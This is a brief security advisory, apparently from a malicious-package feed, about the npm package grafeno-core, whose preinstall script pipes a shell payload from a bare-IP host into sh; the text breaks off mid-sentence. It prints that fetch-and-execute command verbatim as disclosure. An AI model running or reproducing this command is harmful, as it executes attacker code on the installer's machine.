Malicious code in grafeno-core (npm)

Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an attacker-controlled shell payload from a plain-HTTP bare-IP host. The sam...